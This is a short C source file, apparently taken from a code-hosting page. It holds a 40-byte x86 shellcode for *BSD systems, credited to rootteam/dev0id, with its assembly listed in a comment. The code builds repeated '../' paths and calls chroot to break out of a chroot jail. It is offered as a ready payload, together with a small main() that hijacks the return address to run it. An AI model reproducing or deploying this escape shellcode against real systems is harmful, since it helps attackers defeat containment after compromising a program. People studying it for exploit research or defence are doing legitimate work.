48 lines
No EOL
724 B
C
48 lines
No EOL
724 B
C
/* One of the smallest chroot shellcodes
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it will put '../' 10 times
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Size 40 bytes
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OS *BSD
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/rootteam/dev0id (rootteam.void.ru)
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dev0id@uncompiled.com
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BITS 32
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jmp short callme
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main:
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pop esi
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mov edi,esi
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xor ecx,ecx
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xor eax,eax
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push eax
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mov cl,0x1e
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mov al,0x2e
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repne stosb
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pop eax
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stosb
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mov cl,0x1e
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main_loop:
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dec cl
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inc byte [esi+ecx]
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dec cl
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loop main_loop
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push esi
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mov al,0x3d
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push eax
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int 0x80
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callme:
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call main
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*/
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char shellcode[] =
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"\xeb\x21\x5e\x89\xf7\x31\xc9\x31\xc0\x50\xb1\x1e\xb0\x2e\xf2"
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"\xaa\x58\xaa\xb1\x1e\xfe\xc9\xfe\x04\x0e\xfe\xc9\xe2\xf7\x56"
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"\xb0\x3d\x50\xcd\x80\xe8\xda\xff\xff\xff";
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int
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main(void)
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{
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int *ret;
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ret = (int*)&ret + 2;
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(*ret) = shellcode;
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} |